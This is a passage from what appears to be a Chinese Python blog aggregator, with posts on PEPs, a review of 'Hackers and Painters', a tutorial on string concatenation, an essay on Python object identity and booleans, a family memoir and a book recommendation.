PEP 405 — Python Virtual Environments,虚拟环境
PEP 471 — os.scandir() function,遍历目录
PEP 484 — Type Hints,类型约束
PEP 492 — Coroutines with async and await syntax,async/await语法
PEP 498 — Literal String Interpolation Python,字面字符串插值
PEP 525 — Asynchronous Generators,异步生成器
PEP 572 — Assignment Expressions,表达式内赋值(最具争议)
PEP 3105 — Make print a function,print改为函数
PEP 3115 — Metaclasses in Python 3000,元类
PEP 3120 — Using UTF-8 as the default source encoding,默认UTF-8
PEP 3333 — Python Web Server Gateway Interface v1.0.1,Web开发
PEP 8000 — Python Language Governance Proposal Overview,GvR老爹推出决策层后,事关新决策方案
关于PEP,知乎上有两个问题,推荐大家关注:哪些PEP值得阅读、如何看待PEP 572。

对PEP的贡献

虽无确切数据作证,我国Python开发者的数量应该比任何国家都多。然而,纵观PEP 0 里面列举的200多个PEP作者,我只看到了一个像是汉语拼音的国人名字(不排除看漏,或者使用了英文名的)。反差真是太大了。
我特别希望,国内的Python黑客们的名字,能越来越多地出现在那个列表里,出现在Python核心开发者的列表里。
此外,关于对PEP的贡献,还有一种很有效的方式,就是将PEP翻译成中文,造福国内的Python学习社区。经过一番搜索,我还没有看到系统性翻译PEP的项目,只找到了零星的对于某个PEP的翻译。
最后,表达一下我的私心:
(1)希望本文能给大家带来知识和见识的增长,激发一些小伙伴的学习热情
(2)希望有小伙伴去翻译更多的PEP,造福Python的中文学习社区
update:我建了个 PEP 中文翻译项目,欢迎在 Github 上支持下

November 08, 2018 12:00 AM

November 04, 2018

pythoncat

Python猫荐书系列之三:《黑客与画家》

上一期荐书时,我说了有一个巧合,本来计划这期揭晓的,但是,现在有了这个插队的黑客,所以那个巧合就顺延到下期了。今期这本书,说起来也有巧合,我刚读完这本书,本计划下期荐书写写,但是,正好Rocky0429同学也在推荐,于是,我决定先推荐它了。
这本书的英文名为《Hackers and Painters》,出版于2004年,跟上期的《The Hitchhiker’s Guide to the Galaxy》一样,出自O’Reilly出版社。中文名《黑客与画家》,出版于2011年4月,二版于2013年。
出版年份有点久了,但是书的内容不仅一点不过时,甚至有些内容太超前了,现在的读者仍不能完全接受。这就是经典书籍的魅力吧,也是我为啥“墙裂推荐”给大家的原因。

作者与译者

作者保罗•格雷厄姆是哈佛大学计算机博士,是个著名的Lisp程序员,他和同伴开发了第一个互联网应用程序Viaweb(1995)。不过在我国,他最为人知的身份是Y Combinator的联合创始人,还因此有着“创业教父”的美称。
Y Combinator成立于2005年,是美国最著名的创业孵化器之一,已经投资超过1000家创业公司,其中的佼佼者有:Dropbox、Airbnb、Stripe 和 Reddit。2018年8月15日,Y Combinator宣布正式进入中国,而担任其中国创始人及首席执行官的正是百度的前明星CEO陆奇。相信不久,国人会看到这家公司给创投界带来的影响。
译者阮一峰是上海财经大学世界经济学博士,曾在上海金融学院执教,现在是支付宝的Node/JavaScript工程师。他是一个互联网老鸟,从2003年开始写“网志”,至今创作了1700+文章,是无数人的互联网启蒙领路人。
阮老师是格雷厄姆的大粉丝,他这样评价自己的偶像:

但是,在我眼里,除了程序员和创业导师,他更像一个思想家。网络技术将如何影响这个世界的未来,没有人说得比他更深刻。说实话,我在网上看了这么多人的文章,在思想方面,他的文章对我影响最大。

这本书评价如何?

阮一峰在译者序里这样推介这本书:

作者最大的目的就是,通过这本书让普通读者理解我们所处的这个计算机时代。…作者试图从许许多多不同的方面解释这个时代的内在脉络,揭示它的发展轨迹,帮助你看清我们现在的位置和将来的方向。…我们的时代是程序员主导的时代,而伟大的程序员就是黑客。本书就是帮助你了解黑客、从而理解这个时代的一把钥匙。

再版序里这样说:

他是怎么做到的,让一本技术类书籍吸引10年后的读者?后来,我总结出两个原因。第一,他写的不是技术,而是技术背后的思想。就像数学一样,正确的思想是不会过时的。第二,他的着眼点是长远的未来。文章内容主要不是分析现状,更不是总结过去,而是展望未来,以未来指导现在。举例来说,第11章《一百年后的编程语言》就是研究一百年后人们会怎么编程,从而推导到我们现在应该如何编程。除了他以外,我没见过其他人有这种视角。

书籍出版以来,一直好评如潮。下面摘录几则豆瓣书评:

单单“书呆子”那篇文章就值得你买下这本书。——@Hammer_

四月份读的最好的一本书是 Paul Graham 的大作 《黑客与画家》(中文版),这是一本能引发技术人思考的佳作,真正意义上的黑客精神、创业(Start-up)、编程语言,是这本技术散文集的三个主题。阮一峰的翻译很到位,很喜欢他的译文。——@Fenng

作者试图回答的问题:如何好奇地探索这个世界,做喜欢的事情,并阳光地获取财富? 作者回答得怎么样:非常棒 评价:创业的书,或讲究细节,比如如何撰写商务计划书;或摆资历,比如我的成功如何复制;或讲大道理,用一个术语串起整本书,你不服还不行,比如长尾比如蓝海比如紫牛;或写小说,比如如何从小秘到跨国公司CEO;或吹牛,比如全中国最穷小伙子如何发财。 有没有一本,心平气和,不讲细节不摆资历不讲大道理不写小说不吹牛的创业书呢? 有,这就是Paul Graham的文集——《黑客与画家》。——@阳志平

我做笔记和划重点的地方大概占到书的30%。每个段落里忽闪忽闪的思维火花,都在告诉我们什么叫「远见卓识」。在被说服后常常惊讶他是怎么想到那个角度和比喻的。不要被书中大量IT案例阻隔,事实上它适合所有人阅读,让你重新思考要过什么样的生活,或如何尽快过上你想有的生活。——@大头绿豆

本来以为是一本编程书,没想到竟然是一本方方面面的哲学书。不要被书名的黑客两字吓到,放下偏见来听一个知识渊博的老牌黑客对教育、社会、公司等不同领域的深入探讨,受益匪浅。当然,对于计算机编程思维与编程语言的哲学也有独到的见解,不明觉厉……——@莱斯基

我读到了什么?

全书15章,可以粗略地划分为三部分。第一部分(1-4),解释黑客是什么、黑客与画家、黑客的成长与世界观;第二部分(5-9),讲到黑客创业、财富观、什么是好设计;第三部分(10-15)是对编程语言的思考。
对某些读者来说,最触动的也许是“黑客”部分、或者是“创业与财富”的话题,而对我而言,最醍醐灌顶的就是讲编程语言的这几章了。比如,上一篇推文《详解Python拼接字符串的七种方式》里,就提到了作者的“预言”:要取消字符串和整数这两种基础的数据类型。
格雷厄姆认为,编程语言就像生物物种一样,存在进化的脉络,有些进化的分支是死胡同。当时,正是JAVA如日中天的时候(现在仍霸占各类榜单首位),他却说了个“未必正确”的猜测:JAVA进化之路已经走到了尽头。
作者最主要的洞见就在于,通过设想100年后的编程语言,来思考今天如何设计、使用编程语言。

我的判断是,那些内核最小、最干净的编程语言才会存在于进化的主干上。一种语言的内核设计得越小、越干净,它的生命力就越顽强。

在作者眼里,某些尽力提升计算机运行效率的行为是过早优化、并不可取,相反地,他提倡要尽力消耗硬件性能。他提倡“好的浪费”,相信未来的硬件基础足够我们浪费。

随着技术的发展,每一代人都在做上一代人觉得很浪费的事情。30年前的人要是看到我们今天如此随意地使用长途电话,一定会感到震惊。100年前的人要是看到一个普通的包裹竟然也能享受一天内从波士顿发件、途经孟菲斯、抵达纽约的待遇,恐怕就要更震惊了。

这种大格局的视野,令我叹服!作者的眼界还不至于此,他说:

一百年后的程序员最需要的编程语言就是可以让你毫不费力地写出程序第一版的编程语言,哪怕它的效率低下得惊人(至少按我们今天的眼光来看是如此)。…浪费程序员的时间而不是浪费机器的时间才是真正的无效率。

计算机程序在本质上是一种描述性语言,“以书面形式记录计算机应该如何解决你的问题”。那么,很明显它进化的方向就应该是,用越少、越简单的描述来解决越多、越复杂的问题。
一百年前,打字是一门专业的技能,打字员是一种职业;今天,任何人都可以轻松在移动端打字、甚至语音转文字,人人都是“打字员”。
今天,编程是一门专业的技能,程序员是一种职业,那么一百年后呢,大概率是任何人都可以随时编程、或者只是表达然后由智能AI去完成编程工作,人人都是程序员!
人们常说一个梗——“我有个好点子,就差一个程序员了”。读完这本书,我有一个大胆的猜测,一百年后,这个梗会变成——“我是一个程序员,就差一个好点子了”。

金句摘录

我在阅读时划了很多笔记,随便分享几条给大家感受一下(这是一个技术类公众号,我就放和编程相关的了,其它话题的内容,请你阅读书籍探索):
“计算机程序只是文本而已。你选择什么语言,决定了你能说什么话。编程语言就是程序员的思维方式。因此很自然,编程语言对程序员的思想有巨大的影响。”
“编程语言是用来帮助思考程序的,而不是用来表达你已经想好的程序。它应该是一支铅笔,而不是一支钢笔。”
“黑客的出发点是原创,最终得到一个优美的结果;而科学家的出发点是别人优美的结果,最终得到原创性。”
“一种好的编程语言,应该像油画颜料一样,能够使得我们很从容地改变想法。”
“源代码也应该可以自己解释自己。如果我只能让别人记住一句关于编程的名言,那么这句名言就是《计算机程序的结构与解释》一书的卷首语:程序写出来是给人看的,附带能在机器上运行。”
“允许你做某事的语言肯定不差于强迫你做某事的语言。所以,至少在这方面我们可以得到明确的结论:你应该使用允许你面向对象编程的语言。至于你最后到底用不用则是另外一个问题了。”
往期荐书回顾:
第二期:《Python最佳实践指南
相关链接:
阮老师曾经为这本书做了一个专题网页,不过现已无法访问,我收集了几篇文章,方便大家做关联阅读。

November 04, 2018 12:00 AM

November 01, 2018

pythoncat

详解 Python 拼接字符串的七种方式

推荐语:本文详细介绍了Python中七种拼接字符串的方法,并对其优劣点逐一讲解。
忘了在哪看到一位编程大牛调侃,他说程序员每天就做两件事,其中之一就是处理字符串。相信不少同学会有同感。
几乎任何一种编程语言,都把字符串列为最基础和不可或缺的数据类型。而拼接字符串是必备的一种技能。今天,我跟大家一起来学习Python拼接字符串的七种方式。
1、来自C语言的%方式
print('%s %s' % ('Hello', 'world'))
>>> Hello world
%号格式化字符串的方式继承自古老的C语言,这在很多编程语言都有类似的实现。上例的%s是一个占位符,它仅代表一段字符串,并不是拼接的实际内容。实际的拼接内容在一个单独的%号后面,放在一个元组里。
类似的占位符还有:%d(代表一个整数)、%f(代表一个浮点数)、%x(代表一个16进制数),等等。%占位符既是这种拼接方式的特点,同时也是其限制,因为每种占位符都有特定意义,实际使用起来太麻烦了。
2、format()拼接方式
# 简洁版
s1 = 'Hello {}! My name is {}.'.format('World', 'Python猫')
print(s1)
>>>Hello World! My name is Python猫.

# 对号入座版
s2 = 'Hello {0}! My name is {1}.'.format('World', 'Python猫')
s3 = 'Hello {name1}! My name is {name2}.'.format(name1='World', name2='Python猫')
print(s2)
>>>Hello World! My name is Python猫.
print(s3)
>>>Hello World! My name is Python猫.
这种方式使用花括号{}做占位符,在format方法中再转入实际的拼接值。容易看出,它实际上是对%号拼接方式的改进。这种方式在Python2.6中开始引入。
上例中,简洁版的花括号中无内容,缺点是容易弄错次序。对号入座版主要有两种,一种传入序列号,一种则使用key-value的方式。实战中,我们更推荐后一种,既不会数错次序,又更直观可读。
3、() 类似元组方式
s_tuple = ('Hello', ' ', 'world')
s_like_tuple = ('Hello' ' ' 'world')

print(s_tuple) 
>>>('Hello', ' ', 'world')
print(s_like_tuple) 
>>>Hello world

type(s_like_tuple) >>>str
注意,上例中s_like_tuple并不是一个元组,因为元素间没有逗号分隔符,这些元素间可以用空格间隔,也可以不要空格。使用type()查看,发现它就是一个str类型。我没查到这是啥原因,猜测或许()括号中的内容是被Python优化处理了。
这种方式看起来很快捷,但是,括号()内要求元素是真实字符串,不能混用变量,所以不够灵活。
# 多元素时,不支持有变量
str_1 = 'Hello'
str_2 = (str_1 'world')
>>> SyntaxError: invalid syntax
str_3 = (str_1 str_1)
>>> SyntaxError: invalid syntax
# 但是下面写法不会报错
str_4 = (str_1)
4、面向对象模板拼接
from string import Template
s = Template('${s1} ${s2}!') 
print(s.safe_substitute(s1='Hello',s2='world')) 
>>> Hello world!
说实话,我不喜欢这种实现方式。浓浓的一股被面向对象思想毒害的臭味。
就不多说了。
5、常用的+号方式
str_1 = 'Hello world! ' 
str_2 = 'My name is Python猫.'
print(str_1 + str_2)
>>>Hello world! My name is Python猫.
print(str_1)
>>>Hello world! 
这种方式最常用、直观、易懂,是入门级的实现方式。但是,它也存在两处让人容易犯错的地方。
首先,新入门编程的同学容易犯错,他们不知道字符串是不可变类型,新的字符串会独占一块新的内存,而原来的字符串保持不变。上例中,拼接前有两段字符串,拼接后实际有三段字符串。
其次,一些有经验的老程序员也容易犯错,他们以为当拼接次数不超过3时,使用+号连接符就会比其它方式快(ps:不少Python教程都是如此建议),但这没有任何合理根据。
事实上,在拼接短的字面值时,由于CPython中的 常数折叠 (constant folding)功能,这些字面值会被转换成更短的形式,例如’a’+‘b’+‘c’ 被转换成’abc’,‘hello’+‘world’也会被转换成’hello world’。这种转换是在编译期完成的,而到了运行期时就不会再发生任何拼接操作,因此会加快整体计算的速度。
常数折叠优化有一个限度,它要求拼接结果的长度不超过20。所以,当拼接的最终字符串长度不超过20时,+号操作符的方式,会比后面提到的join等方式快得多,这与+号的使用次数无关。
题外话:你是否觉得20这个数字很熟悉呢?没错,我们之前在《Python中的“特权种族”是什么?》中提到过,字符串类的特权种族也是以20为限。当时也有一个例子,展示了编译期和运行期的区别,建议你去回看。
6、join()拼接方式
str_list = ['Hello', 'world']
str_join1 = ' '.join(str_list)
str_join2 = '-'.join(str_list)
print(str_join1) >>>Hello world
print(str_join2) >>>Hello-world
str对象自带的join()方法,接受一个序列参数,可以实现拼接。拼接时,元素若不是字符串,需要先转换一下。可以看出,这种方法比较适用于连接序列对象中(例如列表)的元素,并设置统一的间隔符。
当拼接长度超过20时,这种方式基本上是首选。不过,它的缺点就是,不适合进行零散片段的、不处于序列集合的元素拼接。
7、f-string方式
name = 'world'
myname = 'python_cat'
words = f'Hello {name}. My name is {myname}.'
print(words)
>>> Hello world. My name is python_cat.
f-string方式出自PEP 498(Literal String Interpolation,字面字符串插值),从Python3.6版本引入。其特点是在字符串前加 f 标识,字符串中间则用花括号{}包裹其它字符串变量。
这种方式在可读性上秒杀format()方式,处理长字符串的拼接时,速度与join()方法相当。
尽管如此,这种方式与其它某些编程语言相比,还是欠优雅,因为它引入了一个 f 标识。而其它某些程序语言可以更简练,比如:
# bash shell
name="world"
myname="python_cat"
words="Hello ${name}. My name is ${myname}."
echo $words
>>>Hello world. My name is python_cat.

# perl
my $apples = 4;
print "I have $apples apples.\n";

# Javascript
var apples = 4;
console.log(`I have ${apples} apples`);
f-string方式怎么看都依然像个半成品。我查到有几个与字符串相关的PEP(链接在文末),从2000年的PEP 215,到2002年的PEP 292,里面已经提到了其它编程语言的这种插值实现方式,没想到Python最终只出来了个Template,好不容易到2015年的PEP 498,就是这货了。
我依然不大喜欢这种方式。希望不久,Python会推出更加优秀的插值实现方式吧。
总结一下,我们前面说的“字符串拼接”,其实是从结果上理解。若从实现原理上划分的话,我们可以将这些方法划分出三种类型:

格式化类:%、format()、template

拼接类:+、()、join()

插值类:f-string

当要处理字符串列表等序列结构时,采用join()方式;拼接长度不超过20时,选用+号操作符方式;长度超过20的情况,高版本选用f-string,低版本时看情况使用format()或join()方式。

One more thing:

你以为这就要结束了?
图样!这不是我的风格!
我的风格是发散思考、系统思考、以及追求编程哲学的思考。
最近,我在读《黑客与画家》,保罗•格雷厄姆在书中提出了这个问题:

从语义上看,字符串或多或少可以理解成列表的一个子集,其中的每一个元素都是字符。那么,为什么还需要把字符串单列为一种数据结构呢?

作者认为“编程语言设置字符串似乎就是一个过早优化的例子”,这个观点令我大为震撼!前文提到的七种拼接字符串的方法瞬间变成纸,薄得似乎一触就破。
但是,作者认为这还不够,他还有更惊人想法:

还有比这更惊人的预言。在逻辑上其实不需要对整数设置单独的表示法,因为可以把它们也看作列表,整数n可以用一个n元素的列表表示。… 编程语言会发展到放弃基本数据类型之一的整数这一步吗?

不知道你读完这段话,有何感想。我在阅读时,虽然有上下文语境的铺垫,还是惊叹不已。
附几个相关PEP链接:

November 01, 2018 12:00 AM

October 27, 2018

pythoncat

Python 对象的身份迷思:从全体公民到万物皆数

这么久以来,我终于确认了一件事,那就是不管是人也好,还是猫也好,常常会忘了想自己当下的身份位置,以及曾经的身份位置。
这个现象在我身上,表现出了双倍分量的严重。这种时刻,我就会想起阿尔法猫,以及她识破我身份的那个遥远的午后。
阿尔法猫还没有踪影,她的谜题,还在指引我。
学习Python之后,我明显感觉到了自己的变化,当然有时候是被迫的,因为那些生理上的矛盾冲突得厉害。
毕竟,你应该知道,夜行猫和日间人的分界是清晰的。日夜的颠倒,对人和对猫,是双倍的压榨。说来你别不信,昨晚当瞄见明亮的月球的时候,一刹那恍惚,我还误以为自己回到了喵星的清晨。
大概是想家了吧。地球上美好的事物很多,但我至今仍不习惯的就是它公转的速度太快了,不久就会是寒冷的冬天了。想我的暖炉了,喵。
先不说我啦,来说说我发现的Python对象的身份问题吧。
我对身份的话题特别感兴趣,也许是因为我独特的身份吧。但是,正因为独特的视角,我敢说发现了所有人类都没有发现的真相。
我即将说出来的东西,也许你本以为知道了,或者你本以为很熟悉,但是,经过我的分析,我相信你会得到不一样的感悟,从此以后,你对Python的理解也会更深一步。

1、全体公民与特权种族

在某种意义上说,Python世界是普遍公平的,因为所有的子民都是对象“公民”,这在任何一个现实社会里,乃至于在虚拟的国度里,都是极其罕见的。对象们分属在五大部落里(数字、字符串、列表、元祖、字典),各有所长,各司其职,协作共处,通婚繁衍。
还有一点难得的是,他们没有受到愚民政策的对待,全民都享有思想自由,还习得了超便利的自省能力。人能自知,这能力弥足珍贵。
虽然在这个世界里,不会时常出现岗哨拦阻,但在任何有需要的时候,他们都可以自证清白,id() 和 type() 是一种通行语言,你不需要翻译来对接。而对于更进一步的询问,长得相似的两个对象只需一个简明的判断句,就能区分清楚。请你看一段对话:
Object1=2018
Object2="2018"
id(Object1) >>>2399282764784
id(Object2) >>>2399281922600
type(Object1) >>>int
type(Object2) >>>str
Object1 is Object2 >>>False
全体皆公民,这项天赋权力让我对Python产生了良好的印象。不过,随着对它的认识加深,我发现它还暗地里制定了很多“效率优先”的规则。
最明显的例子就是——“特权种族”。(参见:《Python中的“特权种族”是什么? 》)从现有的证据来看,特权种族至少包括了:一些数值较小的数字对象(区间:[-5,256])、布尔值对象、None对象、较短的字符串对象(长度不超过20,且仅包括下划线、数字、字母的字符串)等等,还不知道这份名单漏了谁。
效率优先的规则允许这些对象传承内存地址,也就是说,当一个“祖先”对象抢占了一块内存地盘后,所有它那一脉的“子孙后代”都会继承它的遗产(视为同一个对象)。
a=100
b=1000
# c与a共用id,d另立门户
c=100
d=1000
id(a)==id(c) >>>True
id(b)==id(d) >>>False
设想一下,两个祖先(a和b)占了相邻的两块内存,一个可以与它的“后代”共用内存,一个却只能让“后代”另立门户;当它们走完自己的生命周期后,b会马上被当垃圾回收,内存地址遗产被剥夺,然而a却形灭而实存,荫庇后世。
Python为这些对象倾斜资源,也就是为某种阶层固化提供了合法性。划分的依据是因为它们比较常用,共用内存就意味着减少开支,提高内存使用效率。
这就是Python有趣的地方了,一面是全体公民,一面是特权种族,组成了看似矛盾的二元对立结构。

2、官方名片与私人名片

除了上面的群体性身份外,我发现Python中也存在着个体身份的二元结构。
这就是__repr__()__str__() 的关系了。如你所知,这是Python的两个魔法方法,其对应的内置函数是repr() 和 str()。对于对象x,有x.__repr__() 等价于 repr(x),同理,x.__str__() 等价于 str(x)。
它们的主要用途在于,返回对象的字符串格式。用法示例:
repr(2018) >>>'2018'
str(2018)  >>>'2018'
repr([1,2,3]) >>>'[1, 2, 3]'
str([1,2,3])  >>>'[1, 2, 3]'

words = "Hello pythonCat!\n"
repr(words) >>>'Hello pythonCat!\n'
str(words)  >>>'Hello pythonCat!\n'
# 结合print,注意换行符\n
print(repr(words))
>>>'Hello pythonCat!\n'
print(str(words)) 
>>>Hello pythonCat! # 再加换行
>>>
一个对象的字符串形式就是它的“脸面”,是向他人介绍自己的一张名片。前面提到过,Python世界有五大部落,这些部落的原住民们与生俱来就拥有这两张名片。
对于原住民来说,这两张名片似乎没啥区别,除了在使用打印函数的时候,在换行符等用法上会有不同。
而对于外来人口(例如,自定义的类),如果它没有定做名片(即实现__repr__()__str__() 方法)的话,其默认的名片就会是类名及内存地址,如下所示。
class Person:
     def __init__(self,name,sex):
         self.name = name
         self.sex = sex

me = Person("pythonCat", "male")

repr(me)
>>> '<__main__.Person object at 0x0000022EA8D7ED68>'
str(me)
>>> '<__main__.Person object at 0x0000022EA8D7ED68>'
事实上,repr()返回的是对象的官方名片,通常人们会说,这张名片是给机器阅读的。本质上,它就是一个对象的代码表示形式,可以用来重新构造这个对象。通过eval()函数,你可以利用这张名片,重新构造出这个对象。
eval()函数是个内置函数,它将字符串str当成有效的表达式来求值并返回计算结果。也就是eval(repr(x))==x,示例如下:
a = 1 + 1
b = [1, 2, 'cat']
c = {'name':'pythonCat', 'sex':'male'}
eval(repr(a)) >>>2
eval(repr(b)) >>>[1, 2, 'cat']
eval(repr(c)) >>>{'name': 'pythonCat', 'sex': 'male'}
相对地,str()得到的是对象的私人名片,通常有更友好的表现形式,因为它是为人类阅读而设计的。
如果一个对象公民没有私人名片,那Python默认会调用它的官方名片。因为这个机制,很多人建议如果要定制一个名片,最好是定制官方那个。但是我却不认同,我认为应该定制私人的那个,因为这样发挥空间更大。不张扬个性,毋宁死。
class Person:
     def __init__(self,name,sex):
         self.name = name
         self.sex = sex
     # 定制私人名片
     def __str__(self):
     	return "{} is an elegant creature!".format(self.name)

me = Person("pythonCat", "male")

repr(me)
>>>'<__main__.Person object at 0x000002E6845AC390>'
str(me)
>>>'pythonCat is an elegant creature!'
在《The Zen of Python》里第一句话就是:Beautiful is better than ugly。在我看来,定制私人名片要比定制官方名片更优美。能够为自己带盐,想想就觉得鸡冻啦!

3、何为真假,万物皆数

以上说法,不管是全体公民身份与特权种族身份,还是官方名片与私人名片,多少带进了我浅薄的社会经验的偏见。我起初很为一方鸣不平,为一种讨巧的做法鸣得意,但是,现在当我知道Python中另一种更不为人知的身份现象的时候,我就释然了。
我接下来要揭示的身份话题,已经超越了社会学和心理学范畴,进入了一种哲学的思想疆域。
前方高能!
前方高能!
前方高能!
首先,来做一个基础知识的铺垫。Python有一个令大部分编程语言都忘尘莫及的特性,那就是,所有对象都可以用于做真假判断。
在做判断的时候,以下情况都视为假(False):None、数值的零值、空序列(如空字符串""、空列表[]、空元祖() )、空集合{} 等等。除此之外,一般对象都可以作为真值(True)来使用。来看示例:
list = [1, 2]
if list: # 即if True
	print("list is not empty")
else:
	print("list is empty")

>>> list is not empty
判断一个列表是否为空,你不需要写 if len(list) > 0,或者写if list == [],简明的使用方法是 if list 或者 if not list,有物则为真,无物则为假。其它判断情况类似。
接下来,还是一个铺垫,这次是进阶知识。零值(含整数0、浮点0.0、虚数0j等)可以映射为False,其它非零值映射为True;但是,反过来,False唯一映射整数0,True唯一映射整数1。
这意味着,可以拿False、True做数学运算。
True + 1 >>>2
True + 1.0 >>>2.0
False + False >>>0
True + (True*2) >>>3
True/2*5 >>>2.5
两个铺垫之后,接下来进入正题了。真正的前方高能!
第一个铺垫告诉我们,对象可以映射成布尔值(True真False假),第二个铺垫告诉我们,布尔值可以映射成数字(1和0)。
你是否觉察出什么了呢?你是否开始好奇,True和Flase到底是什么东西了呢?这到底是什么原理啊?还有,为什么会存在这样的设定呢?
见证真相的时刻到了——在Python中,布尔值其实是整数对象的子类。
type(True) >>> bool
isinstance(True,int)  >>>True
isinstance(False,int) >>>True
啊!哪有什么真真假假,真假并不是本质的存在,真假其实只是数啊!
再回看前面两个铺垫,结合起来,那不就是说,所有对象都映射成了数么?
我不由得想起了2500年前,古希腊哲学家与数学家毕达哥拉斯的哲学命题——万物皆数
难道这竟是Python的哲学么?总不会是一种巧合吧?
我突然觉得智商不足,思辨受阻。得知布尔值True和False有这一层隐秘的身份,我已兴奋不已,再难对这看似不合现代语境、却又流传千古的思想做出任何揣测。
哎呀,我猫性发作,突然困得要命,且容我去小憩片刻了~~~
各位亲爱的读者,在我休息的时候,请你来帮我想想,这到底是什么回事啊?

October 27, 2018 12:00 AM

October 23, 2018

anji66

忆五爷爷二三事。

五爷爷是我爷爷亲弟弟,排行老五,故称五爷爷,他于10月20日以98岁高龄仙逝了。周末的时候博主赶回老家奔丧,不过五爷爷这个年龄过世,在我们当地属于喜丧了,就是把丧事当做喜事来办。原本应该是个很热闹的场面,只是安吉县这两年出了一系列拍脑袋的不得人心的政策(不得燃放爆竹,不得请道士做法,不得请洋鼓洋号奏唱,总之一切出发点都是与人民为敌,与中华五千年的传统为敌。),也就导致丧礼现场冷冷清清。五爷爷是那种典型的经过旧时代和新时代的双重社会经历的人。博主出生的时候,五爷爷已经是老年人了。再加上这些年我一直漂泊在外,接触的也少了,所以接下来回忆的小事大概都是发生在博主10到20岁之间的事情,具体年月属实记不清了。


冬日池水净浣衣

那年冬天,江南的环境,池塘里早上还是会结起一层薄薄的冰,我们乡下洗衣服通常是在自家门口肥皂打好搓好,然后拎着洗好的衣服到池塘里面进行清水。去池塘洗衣服这种事情乡里乡亲的都像商量好了的似的,阳光还没穿透薄雾,池塘边已经站满了人。十来岁的我,朝冰上扔石头还是我那年龄段的乐趣。不多时便看到五爷爷拎这一大桶衣服来到河边,二话没说卷起裤管直接下到了水里,麻溜的洗起衣服来。这可是数九寒天,并且五爷爷已经是70多的高龄,既不是冬泳运动爱好者又没经过抗寒训练,那时候差不多把我都惊到了。这得交代下背景,一般洗衣做饭这种都是女人们的活,而五奶奶属于那种花脚猫的类型,喜欢到处跑,并且家务是干的比较少的,五爷爷有四个儿子两个女儿,他老两口那时候是不跟儿女生活在一起,自己单独烧小灶的。


桐油火撩蛇缠腰

一年春上,各种病菌滋生的时节。我上学上的好好的,突然腰疼,坐都不坐不起来,后腰上一阵刺痛,伸手一抹,全是水泡。向老师请假去了街上的合作医疗,医生说你这是得了蛇斑疮,打两针抗菌消炎的药后,你得找乡下土方子看。蛇斑疮是我们乡下的叫法,学名带状疱疹,有些地方叫蛇缠腰,各种叫法不同,但是有通用的一类说法就是,这水泡要是围着腰身长满一圈的话会死人的。吓的我妈赶紧带我找土方子。不知道是谁说的五爷爷手上有这个病的土方,我们赶紧去到五爷爷家。五爷爷说用桐油点着火燎水泡很快就好。只见他手拿一张祭祀用的黄表纸,卷成烟卷形状,沾满桐油,点着后就在我后腰处烟熏火燎,烟火触及皮肤的时候又是好一阵刺痛。反复几次后,让我回家休息,第二天再来,大概是经过了三五次这样的熏烤后,蛇斑疮奇迹般的好了。


迎春纳福写春联

听父亲说五爷爷年轻的时候是私塾的教书先生,改革开放后还做生产队的队长和村会计。除了写的一手好字,那算盘打的是飞快。那些年每逢年底腊月天街头都是各家写字好手搭桌写对联售卖。不像现在的春联都是印刷厂批量出来的,选来选去,也就几幅对子而已。年底我们这群孩子们早早的放了寒假,几个小伙伴便在五爷爷家帮着他裁纸,研墨。等到上街的时候,只见得五爷爷笔下生风,各种吉祥寓意的对子跃然纸上。而一些特定意义的对联,我们那边有这样一个习俗,一年中家中有人过世,过年的时候是不贴红色对联的,第一年是贴黄色的对联,第二年是贴绿色的对联。对联上的字也是有讲究的,不同平常人家那种迎春纳福的寓意。所以这样的对联更需要人工手写,买是买不到的。所以有很多需求这样对联的人家来买对联,通常需要跟五爷爷说下大致情况,他会根据主人家的要求来写对子。这里神奇就神奇在爷爷从不用翻书,各种类型的不论特定意义还是通用纳福的数千副对子,五爷爷总是手到擒来,似乎所有的对联都像是刻在他脑海中一样,写出来也是对仗工整分厘不差。


长寿秘诀

虽然五爷爷98岁过世了,其实如果不是前年摔了一跤,身体状况每况愈下,在这个国庆假期又不小心摔了一跤,造成大脑中有血块,他最少还能活好几年的。至于长寿的秘密?除了心态好以外,似乎并没有特别的秘密,也就是普通一日三餐,去年的时候还能一顿喝个三两白酒,烟不离手,那可是97岁高龄,前年清明节的时候,青团还能一顿吃11个,即便是我们这样的年轻人怕是也没这个饭量。一定要说有什么秘方,那可以告诉你,喝浓茶,他的茶杯满满一杯茶通常只见茶叶不见水。要想长寿你就看着办吧,哈哈。


by 西枫里 at October 23, 2018 07:28 AM

October 22, 2018

pythoncat

Python猫荐书系列之二:《Python编程之美:最佳实践指南》

昨天推送了一篇《来自Kenneth Reitz大神的建议:避免不必要的面向对象编程》,文中K神的建议出自他发起和维护的开源项目,这也就是我们今天荐书的主角了。
在介绍今天的书目之前,我想先跟大家介绍一下这个荐书系列。本系列打算聚焦Python领域的书籍,初期选书的标准主要有两条:一是要有中文版,二是要有免费开源的在线资源,原因很简单,技术书籍由于其特殊性,在线阅读的体验是最佳的,不管是排版、获取源码、摘录笔记还是分享交流,都是最有效果的。至于更新的频率,不会很频繁,预计两周左右推一次。如果你有什么需求或者建议,欢迎到后台给我留言。
好了,下面请出今天主角《Python最佳实践指南》。
这本书的英文名是《The Hitchhiker’s Guide to Python》,hitchhiker直译是搭便车的旅行者。你也许看过一部著名的科幻电影(或原著)《银河系漫游指南》,它的英文名是《The Hitchhiker’s Guide to the Galaxy》。这本书也许就是在致敬这部电影(或原著)吧。
书的第一作者是圈内大牛Kenneth Reitz,他最为人知的贡献是requests库,我们尊称一句“K神”。他在2011年发起了一个开源项目,也就是这本书的在线版本,Python社区内积极响应,截止现在有346位提交贡献者,github上收获star数15754个,可谓十分受欢迎了。
2016年,O’Reilly出版社终于出手了,所以就有了这本书的英文版。我们国内开发者的热情也很高,现在网上就流传了不少译本,文末附了两个在线阅读地址,我主要推荐大家阅读的就是这两个版本。特别是第一个版本,因为翻译得更到位,阅读更友好,而网站做的也挺不错。
由于文化差异,这本书名若直译过来肯定不恰当,若像电影那般译作《Python世界漫游指南》,似乎还挺有意思的。不过,这两个中文译本都译作了《Python最佳实践指南》。
书的内容比较零散,涉及从环境搭建、编辑器选择、代码风格、Web应用,再到机器学习、与C/C++库交互等等内容。在“有什么”方面,书中列了很多,在“怎么做”方面,书中其实讲的并不多,很多时候,作者只是给了链接,他希望读者根据指引,自己去完成那些部分的学习。
从这点来看,一方面,这本书确实不适合初学者用来入门,另一方面,它适合有基础的人来阅读,矫正一些错误的认知,获得一些实践的套路。
